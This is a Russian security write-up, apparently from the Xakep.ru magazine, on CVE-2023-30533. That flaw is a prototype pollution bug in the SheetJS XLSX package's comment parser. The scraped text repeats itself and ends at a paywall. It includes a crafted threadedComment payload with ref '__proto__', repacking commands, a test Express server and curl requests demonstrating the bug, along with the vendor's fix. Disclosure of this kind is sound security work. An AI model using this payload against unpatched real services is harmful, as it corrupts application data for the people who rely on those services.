Пакет XLSX, выпущенный компанией SheetJS, широко используется разработчиками для взаимодействия с электронными таблицами в форматах XLSX и XLSM, в том числе применяется в корпоративных продуктах. Анализируя пакет, мы нашли несколько уязвимостей. В этой статье я покажу, как они возникли и как их может эксплуатировать злоумышленник.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Давай вкратце посмотрим, как работает SheetJS. Когда файл электронной таблицы XLSX передается функции XLSX.readFile, происходит следующее:
Уязвимость, связанная с ограниченным загрязнением прототипа (Limited Prototype Pollution), возникает при обработке комментариев внутри загруженного документа в функции cmntcommon. В ней присваивается значение объекта по ключу, который может контролироваться пользователем.
else sheet[comment.ref] = cell;
Для дальнейшего анализа важно понимать, что такое comment.ref. Это значение попадает в код из файла threadedCommentXXX.xml (где XXX — номер документа с комментариями). Пример:
<threadedComment ref=«G7» dT=«2023-04-11T09:41:09.71″ personId=«{29DB960B-0822-594C-AB20-3D499FA339C7}« id=«{962D1EF3-37F7-FF40-983D-B0762466C0AF}«>
Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения.
Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
7z x normal.xlsx ; Вносим изменение в желаемые файлы 7z a NotNormal.zip ./[Content_Types].xml _rels/ docProps/ xl mv NotNormal.zip NotNormal.xlsx
Для успешной эксплуатации загрузим обычный файл, но с таким threadedComment:
<threadedComment ref=«__proto__» dT=«2023-04-11T09:41:09.71″ personId=«{29DB960B-0822-594C-AB20-3D499FA339C7}« id=«{962D1EF3-37F7-FF40-983D-B0762466C0AF}«>
В таком случае значение comments.ref будет равно __proto__, а cell будет содержать Object prototype.
Далее в коде функции находим обращение к cell:
if (!cell.c) cell.c = [];
Так как переменная содержит prototype, то массив запишется в свойство c прототипа объекта. Это приведет к тому, что при дальнейших проверках все комментарии будут записываться в один массив, так как значение cell.c будет всегда определено. Разработчикам следовало использовать такую конструкцию:
if (!cell.hasOwnProperty(«c«)) cell.c = [];
Давай набросаем доказательство концепции:
const express = require(‘express‘);const fileUpload = require(‘express-fileupload‘);const app = express();const XLSX = require(«xlsx«);// Middleware для обработки файловapp.use(fileUpload());// Получение POST-запроса c обработкой загруженного файлаapp.post(‘/process‘, function(req, res) { if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send(‘Не найдены загруженные файлы.‘); } // Получение загруженного файла const uploadedFile = req.files.file; let a = XLSX.read(uploadedFile.data); /* Далее может следовать любая обработка файла и т. д. */ res.send(‘Файл успешно обработан.‘);});// Обработка GET-запроса c выдачей простого документаapp.get(‘/getSample‘, function(req, res) { var ws = XLSX.utils.aoa_to_sheet([[«SheetJS«], [5433795],[123123]]); var wb = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(wb, ws, ‘Sheet1‘); const xlsxData = XLSX.write(wb, { type: ‘buffer‘ }); // Возврат обработанного файла res.set(‘Content-Type‘, ‘application/vnd.openxmlformats-officedocument.spreadsheetml.sheet‘); res.set(‘Content-Disposition‘, ‘attachment; filename=»processed_file.xlsx»‘); res.send(xlsxData);});// Запуск сервераapp.listen(3000, function() { console.log(‘Сервер запущен на порте 3000‘);});
Этот скрипт принимает файл для обработки на эндпоинте /process, а при запросе /getSample возвращает пример обычного файла XLSX (который не содержит комментариев).
Сделаем несколько запросов на сервер. Сначала обратимся к /getSample и откроем файл, чтобы просмотреть его содержимое:
$ curl
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 —:—:— —:—:— —:—100 22023 100 22023 0 0 1312k 0 —:—:— —:—:— —:—:— 1955k
$ open sample.xlsx
Содержимое открытого файла
А теперь выполним серию запросов с нашим специальным файлом:
$ curl -X POST —form file=@
/Users/slonser/hack_xslsx/slon.xlsx
Файл успешно обработан.⏎
$ curl
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 —:—:— —:—:— —:—100 22023 100 22023 0 0 1312k 0 —:—:— —:—:— —:—:— 1955k
$ open sample.xlsx
Текущее содержимое файла
В версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
var r = decode_cell(comment.ref);if(r.r < 0 || r.c < 0) return;
Теперь, если comment.ref содержит невалидное название ячейки таблицы, выполнение функции прервется.
Багу выдан идентификационный номер CVE-2023-30533.
Мы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы person и threadedComment внутри ZIP-архива.
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
9990 рублей 4000 р.
[TD]
920 р.
[/TD]
Я уже участник «Xakep.ru»
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Давай вкратце посмотрим, как работает SheetJS. Когда файл электронной таблицы XLSX передается функции XLSX.readFile, происходит следующее:
- Функция проверяет тип файла, анализируя первые байты заголовка. Если тип файла распознан как ZIP-архив, процесс продолжается.
- Файл архива распаковывается в память процесса, что позволяет работать непосредственно с XML-файлами, описывающими структуру и данные электронной таблицы, а также с другими ресурсами, включая изображения и шрифты.
- Парсер, встроенный в библиотеку, начинает разбор XML-тегов. Он анализирует структуру файла и извлекает необходимые данные, такие как значения ячеек, форматирование и другие свойства таблицы.
- Полученные данные обычно представляются в виде удобных структур, таких как массивы или объекты, чтобы их можно было легко использовать в приложении.
Limited Prototype Pollution
Уязвимость, связанная с ограниченным загрязнением прототипа (Limited Prototype Pollution), возникает при обработке комментариев внутри загруженного документа в функции cmntcommon. В ней присваивается значение объекта по ключу, который может контролироваться пользователем.
else sheet[comment.ref] = cell;
Для дальнейшего анализа важно понимать, что такое comment.ref. Это значение попадает в код из файла threadedCommentXXX.xml (где XXX — номер документа с комментариями). Пример:
<threadedComment ref=«G7» dT=«2023-04-11T09:41:09.71″ personId=«{29DB960B-0822-594C-AB20-3D499FA339C7}« id=«{962D1EF3-37F7-FF40-983D-B0762466C0AF}«>
Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения.
Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
7z x normal.xlsx ; Вносим изменение в желаемые файлы 7z a NotNormal.zip ./[Content_Types].xml _rels/ docProps/ xl mv NotNormal.zip NotNormal.xlsx
Для успешной эксплуатации загрузим обычный файл, но с таким threadedComment:
<threadedComment ref=«__proto__» dT=«2023-04-11T09:41:09.71″ personId=«{29DB960B-0822-594C-AB20-3D499FA339C7}« id=«{962D1EF3-37F7-FF40-983D-B0762466C0AF}«>
В таком случае значение comments.ref будет равно __proto__, а cell будет содержать Object prototype.
Далее в коде функции находим обращение к cell:
if (!cell.c) cell.c = [];
Так как переменная содержит prototype, то массив запишется в свойство c прототипа объекта. Это приведет к тому, что при дальнейших проверках все комментарии будут записываться в один массив, так как значение cell.c будет всегда определено. Разработчикам следовало использовать такую конструкцию:
if (!cell.hasOwnProperty(«c«)) cell.c = [];
Давай набросаем доказательство концепции:
const express = require(‘express‘);const fileUpload = require(‘express-fileupload‘);const app = express();const XLSX = require(«xlsx«);// Middleware для обработки файловapp.use(fileUpload());// Получение POST-запроса c обработкой загруженного файлаapp.post(‘/process‘, function(req, res) { if (!req.files || Object.keys(req.files).length === 0) { return res.status(400).send(‘Не найдены загруженные файлы.‘); } // Получение загруженного файла const uploadedFile = req.files.file; let a = XLSX.read(uploadedFile.data); /* Далее может следовать любая обработка файла и т. д. */ res.send(‘Файл успешно обработан.‘);});// Обработка GET-запроса c выдачей простого документаapp.get(‘/getSample‘, function(req, res) { var ws = XLSX.utils.aoa_to_sheet([[«SheetJS«], [5433795],[123123]]); var wb = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(wb, ws, ‘Sheet1‘); const xlsxData = XLSX.write(wb, { type: ‘buffer‘ }); // Возврат обработанного файла res.set(‘Content-Type‘, ‘application/vnd.openxmlformats-officedocument.spreadsheetml.sheet‘); res.set(‘Content-Disposition‘, ‘attachment; filename=»processed_file.xlsx»‘); res.send(xlsxData);});// Запуск сервераapp.listen(3000, function() { console.log(‘Сервер запущен на порте 3000‘);});
Этот скрипт принимает файл для обработки на эндпоинте /process, а при запросе /getSample возвращает пример обычного файла XLSX (который не содержит комментариев).
Сделаем несколько запросов на сервер. Сначала обратимся к /getSample и откроем файл, чтобы просмотреть его содержимое:
$ curl
You do not have permission to view link please Вход or Регистрация
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 —:—:— —:—:— —:—100 22023 100 22023 0 0 1312k 0 —:—:— —:—:— —:—:— 1955k
$ open sample.xlsx
Содержимое открытого файла
А теперь выполним серию запросов с нашим специальным файлом:
$ curl -X POST —form file=@
/Users/slonser/hack_xslsx/slon.xlsx
You do not have permission to view link please Вход or Регистрация
Файл успешно обработан.⏎
$ curl
You do not have permission to view link please Вход or Регистрация
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 —:—:— —:—:— —:—100 22023 100 22023 0 0 1312k 0 —:—:— —:—:— —:—:— 1955k
$ open sample.xlsx
Текущее содержимое файла
В версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
var r = decode_cell(comment.ref);if(r.r < 0 || r.c < 0) return;
Теперь, если comment.ref содержит невалидное название ячейки таблицы, выполнение функции прервется.
Багу выдан идентификационный номер CVE-2023-30533.
Модификация файлов person и threadedComment
Мы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы person и threadedComment внутри ZIP-архива.
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
-60% |
1 year
9990 рублей 4000 р.
[TD]
1 month_r
920 р.
[/TD]
Я уже участник «Xakep.ru»